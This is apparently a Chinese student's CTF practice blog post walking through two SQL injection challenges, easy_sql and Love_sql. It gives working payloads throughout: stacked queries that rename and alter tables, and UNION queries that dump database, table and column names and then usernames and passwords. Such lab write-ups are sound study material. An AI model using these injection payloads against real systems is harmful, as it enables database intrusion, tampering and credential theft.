ctf每日练习-第四天

今天的内容主要是sqli，好几天没写首先因为这几天刚开学事情比较多，二是因为这几天一直都在学习，刷题反而不是很多，今天和同学去图书馆学了一波，感觉收获很大。

easy_sql(来自攻防世界web进阶区)

题目链接: easy_sql.

首先我们尝试一个单引号，报错
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1

可以判断sql语句应该是 =’ input’

尝试用1’–+注入，发现被过滤掉
尝试用#，成功
用order by 判断列数为2

用select语句发现被过滤了
return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

尝试堆叠注入：
查询所有库

查询所有表：
查询这两个表内的字段

1';show columns from words;#

1';show columns from `1919810931114514`;#

这里可以判断默认查询的是words这个表，我们通过改名字把数字名字表改为words然后把flag字段改成id

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; 	alter table `words` change `flag` `id` varchar(100);#

Love_sql(来自buuctf 极客大挑战2019)

1’ or1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata #

1’ or 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’ #

1’ or 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’ #
l0ve1ysq1

1’ or 1=2 union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 #